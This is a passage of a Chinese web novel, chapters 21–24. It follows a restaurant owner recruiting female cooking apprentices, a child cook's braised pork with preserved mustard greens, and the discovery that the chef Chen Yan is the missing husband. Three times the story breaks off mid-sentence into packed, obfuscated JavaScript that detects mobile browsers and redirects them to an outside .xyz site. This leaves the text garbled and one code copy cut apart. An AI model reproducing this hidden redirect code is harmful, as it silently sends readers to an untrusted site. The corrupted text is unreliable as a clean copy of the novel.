再回想时，方木春还有些尴尬，带来的同学们闹出这么一出，想要和沈木犀说些什么。 但此时顾辰已经将一碗碗热腾腾的桂花红糖酒酿汤圆摆在了大家的面前。 大家都显得有些拘谨，沈木犀直接双手捧着面前的汤圆。 “开吃开吃！” 于是大家一人一勺的直往嘴送。 那汤圆软糯，并且芝麻嚼着满口香。细密的感觉黏着口腔里的天花板。 最后舌尖上弹弹的糯米，裹着甜蜜一口吞下。 那口浓郁的桂花配着红糖水，熬得甜蜜清香。 呼——！ 沈木犀放下碗，和大家一起对顾辰赞不绝口，完全忘记了刚才激动人心的时刻。 于是沈木犀拿着报名表，让来的这几个学生填写着信息。 “对了，这个酒酿汤圆要是不够，还可以再要啊。” 沈木犀看着顾辰咧嘴笑着。 21. 芽菜扣肉 看着眼前这三五个被方木春带来的学生，她们虽说读过初中，有些还读过高中，但是那能力真还不如应红，就那么几页纸的报名信息写了撕，撕了写。 沈木犀看着眼前的状况，内心悲喜交加。 虽说学厨门槛不高，但是起码的悟性还是得要的。 沈木犀和应红对视一眼，心想慢慢来吧。 应红啧啧感概：“第一天招生就这样，这以后想要再去流量大的菜场估计也难了，这后面还怎么招生呢？” 沈木犀：“今天就闹成这样，没准儿是个好事！大家都知道了。” 此时正值饭点，锅炉厂的老顾客八爷带远方的亲戚来下馆子。 见了沈木犀第一句话就是：“掌柜的，听说你们今天在菜场招学生学厨呢？” 沈木犀见八爷问话挑着眉毛看向应红，应红顿时意会。 “今天带我侄儿吃个饭。” “嗨，要我八爷在，肯定不会吵架输了！” 应红捧着八爷二人位入了座。 那锅炉厂的焊工八爷扬扬脸，：“咱们锅炉厂片儿的，绝对不能吵架输了那帮菜市场的。” 应红给人倒了茶，八爷打望着那帮学生，看着她们手里的招生报名表。 八爷看着那帮学生，又瞪了一眼自己不争气的侄子。 那侄子吓得也不敢出气，把脸都要快低到地缝里。 应红见状缓和气氛。 应红：“给您来老两样，宫保鸡丁、凉拌豆腐干？” 八爷：“行。” 应红开了单子，便递给后厨了。 沈木犀也在大堂候着，她在琢磨怎么给顾星河交代教学的师傅勉强能够凑够，但是现在学生哪里来？真是让沈木犀犯了难。 八爷：“你可真够可以，你爸拖我给你在厂里找个师傅当学徒。你倒好，把你喝多了的师傅背到厂里的广播室，让全厂子都听见你是师傅打呼睡懒觉，还说梦话说厂花和他好过。大伙正当班呢，你师傅好歹是个一级铅工，洋相全出厂子跟前了。” 八爷侄子：“他不教我干活儿，还让我一整天一整天的给他当班。一天只给我发一张饭票，我只是想拿他克扣我的饭票躲没人的地方吃饱饭，谁能想他在里面能把喇叭扒开了一通乱说。门还被他反锁了。” 八爷：“那你去给组长报告啊！” 八爷侄子：“组长是他老婆，我不敢说。” 八爷：“现在你师父、你师娘、那厂花，对还有你，都被要求写检讨，而且你还没过学徒期。你觉得谁会帮你说好话，让你留下来。” 那侄子愣住，把头低着，只见他蓝布的裤子上好几个豆大的泪点。 八爷：“几天没吃了？” 那孩子撇撇嘴：“上礼拜天来您家吃了一顿，就再没吃过。” 八爷鼻子里直直地冒着粗气，那孩子说：“爷，我去洗把脸。”于是站起身往后厨方向去了。 八爷见那孩子走了，冲应红招了招手。 “应红，麻烦加个扣肉。” 应红瞧见了先前桌前的这爷俩，也是不好受，赶紧安排厨房去做了。 …… 八爷侄子来到后厨，脑子不灵光，没找到洗手的地方，却碰见了帮厨的明美。 因为前厅加了扣肉。 明美便搬来了一个小凳子将已经蒸好的扣肉放入蒸笼里加热。 明美虽然人不大，但是活干的利落。 身上的围裙是她同龄小朋友身上的罩衣，还有某某幼儿园的字样，明美干活十分规矩，对于时间的把握也非常准确。她虽然在后厨忙碌身上也十分干净。 一脸认真的样子，让八爷侄子肃然起敬。 而且更让他感到好奇的是，明美盯着的蒸笼里透出阵阵奇香。 他知道，自己最近可能是饿饭久了，乡下饭虽然吃得差，起码能在地里扣点红薯解解馋。饥一顿饱一顿还能有点念头。 来了城里，八爷让他学钳工，师傅一天活不教，还顿顿扣他饭票。 他知道，他是八爷带着村里亲戚来学徒的第八个了，八爷虽然表面上凶，但是私下里肯定奔走不少人情。 这些他是知道的，可是现在自己把事情搞砸了，没准儿还会连累八爷，想想他都不知道一会儿怎么面对八爷。 此时，明美放在手边的沙漏，落沙已尽。 明美抬眼转过脸来看着八爷的侄子：“姐姐，是前厅来催菜了吗？” 八爷的侄女向阳一头寸发，穿一身粗布衣服。庄稼汉的体格，皮肤黝黑不仔细瞧很难分辨出男女来。 这让这些天进了城，在厂里一直都是以男孩身份见人的向阳有些愣住了，她没有想到一个和自己隔了几米远的孩子认出了她是个女孩。 明美将手边火的阀门关了。 这时应红从前厅，走来：“小明美，前厅八爷加的扣肉做好了吗？” 几天下来，明美聪明懂事又乖巧听话，最重要做饭的味道一绝。和后厨的哥哥姐姐们都相处得特别融洽。 最近姥爷虽然还没有找到爸爸，但是也不像之前那样总板着脸，还夸她扣肉做得有水平了。 明美：“马上好，应红姐姐。” 应红笑笑看见明美一旁还站着向阳，“哎，你在这儿呢？赶紧的吧，菜好了，快上桌吃饭。”应红催促着却发现向阳正抖动着肩膀，眼泪簌簌地低落。 因为向阳也听见了八爷给她点了扣肉。那是八爷好几天的工钱，八爷还有一家人要拉扯。 向阳越想越不应该让事情变成这样，哪怕她实在饿透顶了，直接离开工厂便是了。 大不了回乡下继续扣红薯吃呗。 却听见明美甜甜的说着：“姐姐快去吃饭吧，我做的扣肉很好吃的。” 于是明美回望着盯着她干活的姥爷，拉了拉向阳的手。 向阳擦擦眼泪，再抬眼时，应红也吓了跳。 “呀，你是个小姑娘啊，我还以为是个小伙子呢，放心吧掌柜的特意叮嘱多加了肉，去好好吃吧。”应红轻轻抚在了向阳的背上。 向阳点点头，不时回望着明美，只见明美扎着两个可爱的小辫子看着她笑笑。 再回到餐桌，那道后加的扣肉已经端上了桌。 扣肉切成厚厚的薄片，散着热气。 向阳好几天都没吃过饭了，看着那五花三层的肉，裹着酱汁，十分诱人。 向阳知道人前不能没了吃相，再饿再想吃也得忍着。 她抬眼看八爷。 “爷，我洗好了。” 八爷点了点头：“吃饭，扣肉，多吃。” 向阳看着那肉又拘谨不好意思动筷子，只见八爷一筷子夹了三片，直接夹在了她的米饭上。 向阳咽了咽口水。 肚子咕咕地直叫。 于是向阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918760|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端上饭碗，怒抛了两三口米，最后将半片扣肉放进了嘴里。 那扣肉入口即化，油脂裹住米饭，咀嚼之间一股浓烈的芽菜味。 芽菜裹地酱油，酱香味十足，鲜度绝佳。 回味中那味芽菜的鲜度，冲击味觉，向阳觉得，她能一片肉吃下一桶饭。 于是在她看向后厨时，应红已经差人将一桶米饭摆在了她的面前。 向阳已经囫囵地刨下了整碗米饭。 她把剩下的两片半肉列在一边，又向自己碗里盛了一碗米饭。就着另外半块肉，细细吃了起来。 怎么这芽菜还有一点麻，猛地一吃，这香气直冲天灵盖。 太香了。 向阳恨不得把这扣肉全吃了，她脑海中想起刚才小明美在蒸锅前的样子。 此刻她心里只有一个念想，如果可以经常吃到着这些好吃的，她也想当个厨子。 …… 沈木犀将方木春一行人送走，打望着八爷这桌干饭，闻着味就知道小明美芽菜扣肉的手艺又涨了。 为了避免自己嘴馋，沈木犀本想赶紧离开。但是她觉得刚才听见八爷说学徒的事儿，哪里学徒不是学呢？于是待八爷和向阳快吃得差不多了，沈木犀便来到了二位的餐前。 沈木犀：“八爷，用的咋样？” 八爷：“味道真不错，确实好吃啊！换厨子了？” 沈木犀笑笑，向阳也不住的点头。 沈木犀：“八爷我这儿正开班办厨校呢？要不……” 沈木犀话没说完，便看着向阳。 向阳听到掌柜的说这话，立时挺直了身板儿。 八爷：“不行。” 八爷回绝的爽快，让沈木犀也有些疑惑。 八爷解释：“当厨子不行，她是个姑娘。” 沈木犀又看了看向阳，虽然身材魁梧，但是眉眼间确实清秀许多。 八爷：“送去车间学徒，好几个师傅都不收女徒，更别说你们厨子了。” 沈木犀：“我们这儿可以收女徒啊。” 八爷不说话，向阳有些急。 向阳：“爷，我可以。我想来……” 向阳自来和八爷相处，都没有硬气说过话，都是说什么干什么。哪怕知道自己是个女孩儿，师傅不收，八爷说让把留了10年的辫子剪了，也没有哼过一声。 八爷见向阳这态度一时有些心软。 不远处的小明美出了声：“姐姐，学厨很苦的。” 向阳猛地抬头看向明美，她那么小却会做出这好吃的菜，她应该是受了很多苦吧。 八爷见状又看向阳，向阳一时热泪盈眶，现下或许没有比这更好的办法，但是向阳觉得再怎样的吃苦，也比嫌她是个女徒不给饭吃强。 于是向阳点着脑袋看着八爷，只求他能同意自己学厨。 明美被身后的姥爷喊去调味，于是又只能掉转头回到厨房了。 陈炎一早看到方木春带了好几个女学生在菜场报名，他气不打一处来，他势必要阻拦沈木犀招收女徒的事情。 于是他登门之时，只看见了一个小女孩儿穿着围裙去了后厨，他心想沈木犀你们还敢用童工！小心我哪天给你们一锅端了。 沈木犀见到此情此景，内心也一震剧烈的颤动，但抬眼时却发现陈炎站在了门口。 陈炎：“祖师爷同意了吗？沈木犀你就敢收女徒。” 22. 芽菜扣肉（下） 连着好几天陈炎都没有来过沈家酒楼了，沈木犀不用看，听着就知道他没憋好屁。 沈木犀不想和陈炎多说，仍是将报名表递给了八爷。 沈木犀：“八爷，你看这几个位置的信息填一下。” 八爷见陈炎站在门口，他认得这是沈家酒楼的主厨，听他这么说，没接那报名表，起身打算拉上向阳就走着。 向阳却不动，像根铁桩子似的焊在了地上。 陈炎仰着头：“沈木犀，你究竟要闹到什么时候？这办厨校你想掺合一脚就算了，厨校请的师傅都是有资历的大师傅怎么到你这头了，还能收女徒弟啊？” 沈木犀：“谁规定了，不能收女徒？” 陈炎：“由来已久，后厨就没有女锅匠的说法，你们现在这么会……” “会怎么样？”应红拿着茶杯问陈炎。 应红此刻应该是真好奇。 陈炎：“后厨一直就没有过女师傅，实在不行问师父啊，他也不会答应你们收女徒，不然沈木犀你爹为什么不教你学厨啊？” 陈炎的话如一根钢刺，深深地扎进了沈木犀的心里，这句话，上一世，沈木犀在陈炎干出那么多乌七八糟的事情时，她就想问他爹。 可是上一世，她爹已经躺在了病床上，还没来得及问，就死了。 于是上一世里，沈国华带着沈木犀的疑问一起走了。 陈炎见沈木犀没说话，继续道：“学厨不仅仅需要靠天赋，比起一般手艺还要能吃苦。” 陈炎从头到脚，从左到右一一打望在座的女人们，轻蔑哼出一口，“女人们，能行吗？” “女人们就不能吃苦吗？”向阳站在一旁梗着脖子，说着。 陈炎见向阳身穷酸样，一脸不屑，在他眼里，向阳这样的压根不算女人。 “我跟你说不清楚。”陈炎不想和向阳多说，伸手就要去拿沈木犀手里报名表，想要撕毁。 向阳一时有些着急，猛地上前就要拦下陈炎去抢。 二人相互推搡着，陈炎竟然无法撼动吃饱了饭的向阳。 八爷本来就对向阳能不能学厨担忧，自己也是个手艺人，特别清楚男女学徒所存在的实际差异，但是新中国成立后的这些年工厂里也有出色出彩的模范女工、工程师、领导。 八爷对于男女学徒其实不在意，他只在意拿碗吃饭，好好干活。所以才出了向阳女扮男装的模样先学好技术的主意。 女子也顶半边天！的思潮充斥整个华夏大地。 于是，无数农民和家庭妇女……纷纷走进工厂，为社会主义生产贡献着自己的一份力量。 八爷还记得每年厂里的38红旗手，工厂里的师傅们也会不去计较这个单独为女人们所设立的褒奖。因为她们和男人一样，在一线生产，也从来不曾缺席家庭的劳作义务。 陈炎被向阳硬实力压制，脸有些憋红，这一刻当着沈木犀和街坊邻居，他搞不过一个女人，这是属于他男人的颜面。 陈炎着实有些恼羞成怒了，他一股脑把这些天受得气一并撒了。于是陈炎也不管向阳是不是姑娘了，他一把扯下自己上衣的第一颗扣子。 今天自己必须要赢一把，陈炎这么想。 他抡起袖子，就朝着向阳摆开要摔跤的样子。众人还没反应过来，向阳也抡起袖子要和陈炎拼了。 今天谁不让她学厨，谁就是她的敌人。 八爷不在意，他知道向阳连村里的牛都斗得赢，她对向阳有信心，以及八爷还有一点小私心，如果向阳能够在不伤人的情况下扳回一城。没准儿今后真能找个安生立命的工作。 陈炎叫嚣的声音极大，都把后厨没活儿干的师兄弟们引得纷纷往前厅去了。 明美瞭望着前厅，人们把陈炎和向阳围住。 陈叔仍是不苟言笑地盯着明美干活。 明美转头问：“姥爷，那个姐姐能学厨吗？” 陈叔不说话，见明美妞脸转过去调味，心里默了两下问：“苦吗？明美？” 明美甩动着两个辫子，正要回姥爷话，看见后厨的侧门里，明事手里拿着根雪糕，牵着一男人进来了。 “姥爷，这个叔叔说找您？” 陈叔一把夺过明事嘴里的雪糕，直接扔进了垃圾桶了里，就在陈明事还没有反应过来时，将陈明事的手掌摊开，用戒尺狠狠地打了两下。 陈叔呵道：“我说没说过，不可以拿别人吃的！” 陈明事虽然不像明美，从来没挨过打，但是姥爷一向严肃严厉，他是知道的，今天猛地动真格的。 陈明事一时有些吓傻了，根本哭不出声来。 那男人挡在陈明事跟前。 “老爷子，咱不打孩子，好好说。” 陈叔：“这是我的家事！由不得外人过问。” 男人带着帽子，这才取下。 是吴大伟。 陈叔不认识他，但吴大伟好像对陈叔很清楚。 吴大伟：“老爷子进城是来找，孩子父亲的吧。” 陈叔一脸警惕，觉得这个人绝不是等闲之辈，对他似乎了如指掌。 吴大伟：“您别怕，我在火车站做粮油生意的。您这几天不是下午4、5点都在火车站和菜市场一带找人吗？” 陈叔这才想起或许是自己留下的信息被人知道了，且听来人如何说。 陈叔把两个孩子往后拉，自己挡在身前，陈明事哑火哭泣不敢出声，一直淌眼泪，陈明美拿着小手帕给他揩着眼泪和鼻涕。 吴大屋拿出了陈叔留在各地的寻人启事单。 …… 此时的前厅围聚着不少人，陈炎愣是无法将向阳挪动分毫。她就像一颗松一样站定在哪里。 不少看热闹的街坊也在跟着凑热闹。 李婶：“陈大厨，这么个有力气的姑娘，你就行行好，让她学徒呗。大不了你不教她不就行了，各是各的祖师爷，你祖师爷夜里也不会找你问话的，丢不了你的良心。” 李婶逻辑清晰，一脸正经地劝着陈炎。 引来众人哄堂大笑。 “是啊，让她学呗，学会了，我们都是好吃嘴。” “您那几道菜，我们也想换换大厨尝尝。” “你别说啊，最近沈家酒楼上新的这九大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918761|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗是真好吃，九大碗轮番上餐，城里还真没有这味。香的不得了啊。” “对对对，尤其是，哎我看着桌上就有啊。这芽菜扣肉，一绝。” “是啊，这小姑娘估计刚吃了饭，力气一看就足。陈大厨，你是不是中午饭还没吃，不行你再搞两碗干饭吃吃，你俩再比划比划，不然说我们农村人欺负了你。” 沈木犀觉得瞧热闹的越说越离谱了。 招呼着应红把这一槽人弄走。 “谢谢各位街坊邻居，九大碗最近确实受欢迎，我们打算后面多搞几个新菜让大家都尝尝鲜。既然大家今天都来了，这个我们办的厨校就在锅炉厂里面，想要学门手艺的都可以随时来找我们报名啊。” 沈木犀看人多赶紧把报名表散一散，发过一沓后，人群也就渐渐没有了。 再转过脸来，沈木犀却看见眼前惊人的一幕。 陈炎竟然坐在八爷的桌前，抽出筷子吃着那碗芽菜扣肉。 这芽菜酱香区别于酱油上色上味，香气会成倍增加，芽菜底味里的鲜是区别很多种扣肉打底的配菜的。最终重要的是，这碗扣肉隐约能闻见一股非常浓郁的陈醋味。 那陈醋在醋缸里晒了晒，在时间和阳光的配合下，发挥出氨基酸最迷人的时刻。 陈炎绝不是那种会被胃牵着走的人。 只是这一味陈醋，他已经很久没有闻到过了，尤其是用在扣肉里。他不仅香还能解油腻。 这个处理方法不算什么秘方，但是陈炎来的这老城却从来没有尝到过。 无数的记忆向他袭来，无数个学艺的日子出现在他眼前。 …… 十四岁的陈炎一身褴褛，倒在了闹蝗虫，颗粒无收的田埂上。 不远处，就是一家做白事的。 陈炎已经饿了七天了，他想哪怕是像一条狗一样爬到席间，自己也能混点儿剩菜剩饭吃。但是不幸的是，他倒在了五十米开外的田埂下。 蝗虫还在眼前不时飞舞，迷糊中他看见了一个姑娘。那姑娘冲他说了些什么，但是陈炎听不见。 再清醒时，他的眼前就是那碗芽菜扣肉。 陈炎饿得一把抢过那碗铺满了扣肉的饭。 太香了，久晒的陈醋在芽菜上淋了一点，蒸锅里的水汽，反复腾起，将芽菜的酱香混合醋的香气一股脑拌着一碗猪油润过的白米饭，咽进了肚里。 …… 应红实在是看不过眼。 应红：“哎，大师兄，咱们打不过也不至于真抢人饭吃吧。” 沈木犀：“应红再给八爷装一份新的打包给嫂子孩子吃。” 向阳其实也是这个意思，所以她吃了一大桶饭拢共吃了三片肉。这样的好东西婶子们最好都得尝尝。 应红转身就要走，陈炎开口：“这是谁做的？” 陈炎此话一出，沈木犀猛地看向后厨。 应红边走边说故意气陈炎：“咱们沈家酒楼新来的主厨啊。” 陈炎快速起身越过应红冲向了后厨。 他这动静引得前厅所有人都不知道刚才发生了什么，也跟着他往后厨去了。 23. 腌笃鲜 乌泱泱的人一时都涌进了沈家酒楼的后厨。 瞬间让看着还挺大的后厨显得十分拥挤。 陈炎就像一只无头苍蝇，窜来窜去的在后厨来回找。最重要的是陈炎其实看到了后厨明明除了胡大力以外没有任何人。 陈炎问胡大力：“做扣肉的人呢？” “刚还在这儿呢？”胡大力抬头疑惑看了一下周围，“估计出去玩儿了吧。” 此时沈木犀走了进来，可看到陈叔三人并不在后厨，暗自松了口气。 陈炎捕捉到了沈木犀细微的表情变化。陈炎随着胡大力的视线看向蒸锅边的一个沙漏。上面贴着时下流行的糖果贴纸，一看就是小孩子在用的东西。 陈炎动了动身子，走了过去，一把拿过，他拿着那沙漏端详。 沈木犀：“沈家酒楼后厨重地危险，各位街坊邻居先回吧。” 沈木犀不想引起陈炎的注意，于是赶忙催促着大家离开。 大家也看见了后厨没有什么新鲜的面孔，瞧热闹的心情少了一大半。于是悻悻的离开了。 应红面无表情的把陈炎手里的沙漏拿过，又放回原位。 应红：“大师兄，后厨不得外人和闲人进，你不是不知道。男女学徒这儿事儿，我是不知道，但是门帘上写着的话，应该是你们家祖师爷定的吧。” 因为乌泱泱来了一群人，好几个师兄弟趁手的东西都被乱动过了。 “是啊，大师兄，万一二师兄端的是一盆开水呢？泼到人了可怎么办？”说来一众小师弟还在后怕，主要是眼前想要继续干活也干不成了，又得重新收拾趁手的东西，难免抱怨。 陈炎根本不理他们，一副自己还是大师兄的样子。 一手便敲在了那还嘴的师兄头上。 “有你们那么多废话”陈炎又看看眼前略有调整的后厨，总觉既陌生又熟悉。 “谁让你们这么摆的？”陈炎问道，见没人说话，又冲胡大力：“问你话呢？” “陈……主厨啊。”胡大力怕说了陈叔，会得罪陈炎，没成想胡大力的话证实了沈家酒楼已经有主厨了。 陈炎见状多说无益，于是扭脸招呼胡大力跟他出去一趟。 胡大力看了一眼沈木犀，也只能硬着头皮跟陈炎出去了。 大家伙见陈炎离开了后厨，也都卸下了一些包袱。 两个小工嘀咕：“跟叔工作搞好几天都没有这么累。” 另一个甩甩头，将菜从水池子里拿出沥干。 …… 沈木犀见后厨没有陈叔和两个孩子，虽然一时有些放轻松，避免了陈炎大闹后厨，但她其实心里清楚，陈炎就是陈叔要找的人，她得尽快告知这一家三口。 …… 另一边陈叔带着两个孩子跟着吴大伟去了一趟芭蕉坝的菜市场，朱三不知道吴大伟是何用意，觉得陈叔形容的就是陈炎。 朱三说不明白，招呼几人要不然就去附近的派出所问问，反而更简单。朱三更是留下话头：反正找的人如果要结婚，街道都得登记。 陈叔觉得对，这个办法最好，组织的力量肯定比他大。 但是陈叔心里隐隐的不是滋味。 他看着手边带着的两个孩子，又想起家里的女儿。 不行他必须找到孩子父亲，究竟是离婚还是人死了不回家，得要一个说法。 于是吴大伟又带着三人来了街道。 街道里的工作人员翻了个把钟头根据陈叔给的地址一步步查外来人口登记的档案。 终于在一个同为姓陈的男人那里，查到了陈叔给到的地址。 街道的工作人员看着资料喝下一大口茶，又将茶叶吐回了杯子里，“这人早就不在你给的这个地址住了。” 陈叔似是得了一些希望，往前迈了半步。 “哎哟，这个人改了名字了。”工作人员蹙眉看着。 “他叫什么，现在在哪儿？”陈叔问。 “陈大壮，他现在叫陈炎，在老城的沈家酒楼工作。”你可以去哪儿试试。 陈叔和明美一整个愣在了原地，陈明事却拉着明美到处乱看。但是陈叔很清楚，他待的沈家酒楼没有陈炎。 吴大伟眉梢一挑，“既然叔，你找到人了，信息也登记过了，我还有一趟米得送，这……” “先回去吧。”陈叔淡淡道，他勉强挤出笑脸，“谢谢你，吴老板。” 吴大伟边说边在派出所要了一张纸写下了自己的联系方式。 吴大伟：“捎带手的事儿，这是我的联系方式，您留好，有需要随时去火车站联系我啊。” 陈叔点点收下了纸条，点点头感谢了吴大伟和派出所的工作人员。 临出门几人在派出所门口作别，这一切被远处的顾辰看在了眼里，见陈叔带着孩子往酒楼方向去了。顾辰也就开着车回酒楼了。 …… 先前顾辰送走了方木春，便在后厨的窄巷里休息。但是他看见吴大伟的车沈家酒楼徘徊，不一会儿，他又看见陈炎进了大门。 于是他一直站在沈家酒楼的门外，却等来了吴大伟带着陈叔爷三走了，于是他开着偏三轮一路跟着。到了菜市场，他大概听见朱三说描述的那人，一个怀疑在他心中暗生，陈叔要找的人其实就是陈炎？ 只是吴大伟为什么要找陈叔，掺合陈炎的事儿？这太奇怪了。 他得抓紧时间回到沈家酒楼。 …… 陈炎拉着胡大力在沈家酒楼门口，烟抽了一口又一口。 陈炎：“给个准话吧？” 胡大力：“是来了新的主厨。” 陈炎轻蔑的哼出声。 胡大力解释：“那老爷子也不怎么做菜，就是那半大的小姑娘帮忙做点菜，那姑娘还没厅里的八仙桌高呢，那菜好吃着呢，简直是神童。” 陈炎：“沈木犀是不是脑子最近不太好使了，老年人来后厨就算了，连那么小的小孩儿都得帮她干活儿，这女人简直不可理喻。” 胡大力点点头。 陈炎见他还算乖顺：“你先回去忙吧，我随时问你事情，给盯紧点儿。” …… 被陈炎这么闹了一出，沈木犀与八爷和向阳嘱咐好报名后，就将沈家酒楼打烊了。 今天她不是很想营业，压在她心里的石头是如何在陈叔知道真相前，她自己将这一切告诉陈叔。 虽然沈木犀不知道陈叔去了哪儿，这些时日与爷三人的相处实在是自在。 上一世她是没有和陈叔打过交道的，虽然一开始她知道陈叔肯定是主厨的人选。但是真的要陈叔在什么都不清楚的情况下与陈炎在台上相见吗？ 这对陈叔不公平，对明美和明事也不公平。 于是沈木犀忙到下午4、5点，便躲到了后厨做饭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918762|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她想起自己从重生到现在其实都没有好好的为自己或者说大家做一顿像样的饭。 于是她围上围裙，开始备菜。 厨房里陌生的安静。 沈木犀也觉得十分神奇，她很少与这样的自己以及沈家酒楼相处。 她慢慢地开始备菜，洗菜。 沈木犀突然想做一道春菜——腌笃鲜。 她翻出上好的火腿，这时地处南方的竹笋还算能用，还有猪肉。 沈木犀将火腿放进砂锅里轻轻煸炒，再将竹笋过开水漂水去除竹笋中的麻味，最后将开水加入砂锅中，加入竹笋和猪肉一起入锅滚开。 沈木犀不想加豆腐结，她不爱吃。 于是她站在灶前，此刻沈木犀看着一直翻滚咕嘟的白汽直直冲开砂锅盖，脑子正在放空。 回来的这几天，她好像一直在不停，从来没有停歇，她只是不想再活得如上一世。 稍纵，沈木犀看到汤色开始泛白，还需要一些时间，知道汤底彻底泛白。 只有大火滚开的腌笃鲜，才能达到这种奶白的汤色。 沈木犀此刻只想管好这一锅好汤，一切的等待还需要一些时间。 于是她去前厅将收音机抱到厨房。 次啦次啦的声音随着沈木犀旋动的按钮变得清晰。 一首邓丽君的《初恋的地方》 “我记得有一个地方 我永远永远不能忘 我和他在那里定下了情 共渡过好时光 那是一个好地方 高山青青流水长 ……” 沈木犀随着邓丽君小姐甜美的声音静静地等待汤的烹煮，沈木犀想美食真是令人舒适的东西。 只要你用心的对待它，你需要了解它，对它十足的坦诚，才能得到你想要的美味。 汤还在砂锅上咕嘟着…… 顾辰从后厨的门进来，就是那一瞬间，沈木犀穿一件碎花的长裙，系着围裙，慵懒地听着歌，等着汤好。 白色水汽在她的身边形成水雾。 朦胧中，沈木犀显得格外的美，眼睛认真地盯着汤锅，美睫也闪动着。 沈木犀低头尝汤，这才余光看到顾辰环抱着双臂靠着门，唇边牵出一丝笑意。 沈木犀：“怎么了？” 顾辰：“挺美。” 沈木犀：“什么美？” 顾辰：“你关店自己在后厨炖腌笃鲜挺美。” 沈木犀：“见者有份，给你留一份，我这是给陈叔准备的。” 顾辰：“好。” 于是顾辰转身将碗筷用具摆上了桌。 …… 沈木犀细细地喝着自己的汤，顾辰也没有说话。 二人就这样静静地喝着这一碗汤。 沈木犀放下碗：“舒服。” 顾辰不说话，用力点点头。 而这时陈叔带着两个孩子回来了。 沈木些见陈叔突然回来，招呼三人来着这边坐下。 陈叔一时不知如何面对沈木犀。 沈木犀：“叔，先喝汤。“ 是先端碗，还先问沈木犀，陈叔坐在桌上看着眼前的腌笃鲜不说话。 片刻，沈木犀开口：“叔，陈炎就是你要找的人。” 陈叔和顾辰都有些惊讶，顾辰转头看着眼前的两个孩子。 24. 茭白肉丝面 此时的沈家酒楼显得格外安静，大厅里只有一盏电杠灯把沈木犀所在的八仙桌点亮，陈叔和沈木犀对坐在八仙桌上。 顾辰在给两个孩子盛着汤。 沈木犀虽然把一直压在心头的真相和盘托出了，但是面对陈叔的沉默，沈木犀也没有经历过这种尴尬的局面。 沈木犀觉得这样的局面也不是个办法于是开口说道：“陈叔，我肯定是不会和陈炎结婚的……” 此话一出，顾辰抬眼看她，陈叔也看向她。 陈叔：“我进门的第一刻你就知道我要找的是陈炎？” 陈叔这个问题问得直中沈木犀的要害。 沈木犀心里是有犹豫的，她很难告诉陈叔自己重活了一世。但是她也很清楚，不必再有一个所谓的谎言来维系这种尴尬。 沈木犀：“我认出了明美和明事，我知道陈炎有一双这么大的儿女。” 陈叔随着沈木犀的话，把手放到了桌上，脸上没有任何表情。 陈叔：“你没有见过她们。” 沈木犀：“对，陈炎其实也没有给我说过。” 沈木犀看向明美，明美也抬头看着沈木犀。 陈叔：“那我们没什么可说的了……掌柜的。” 沈木犀：“我希望您能带着孩子留在沈家酒楼，当主厨。” 陈叔带着孩子就要往二楼去。 沈木犀：“我只有一个私心，明美可以留在沈家酒楼好好学厨。” 陈叔听着沈木犀的话，他脚步有些停顿。 陈叔：“她不适合。” 明美听懂了沈木犀和陈叔在说什么。 明美盯着陈叔，拉拉他的衣角。 “姥爷，我想学厨……我不想像妈妈一样。” 明美的话几乎刺痛了陈叔的命门。 看着陈明美，陈叔有些出神，因为明美有一双和女儿一模一样的眼睛。 因为他的女儿，也是自己坚持女徒不得学厨的规矩，所以当初不许她学厨。 只是如今徘徊踟蹰间，陈叔不知道该如何面对沈木犀。 一方面他觉得沈木犀能够收留他们祖孙三人并且十分信任自己主持后厨工作，一方面她又是自己女婿想要再入赘的对象。 无数次，陈叔想起自己在乡下卧床的女儿都觉得自己当年没有教女儿学厨是不是一件错事？ 不然也不会因为陈炎学技而让女儿和他结婚，这些陈叔无数次回忆反思。 他听人说在城里见过陈炎，女儿写了很多信也不见回复，打电报也没有下文。 这次女儿为了去采早上浅水里新鲜的茭白拿到场镇换钱贴补家用。 那天浓雾的田间，她一脚踩空摔下田埂，碰到了一块硬石头，于是便卧床。 陈叔在又一次听闻陈炎即将娶亲的传言，于是便带着陈炎的一双儿女来了城里。 陈叔其实想过无数种可能，他基础判断，陈炎应该是不想再和自己的女儿过了。 这次他来城里其实不是想找到陈炎希望他回心转意与陈家再续前缘。 他只是需要一个说法，让女儿死心，让事实给他一个曾经答应让陈炎学徒以及让他入赘都是错的的答案。 最后他也想在城里看看能不能找到一份工作，可以让一家人安身立命。 陈叔觉得沈家酒楼挺不错，沈木犀当掌柜的，虽然没聊过工钱，但是沈木犀以自己做乡厨的日薪给自己结工钱。 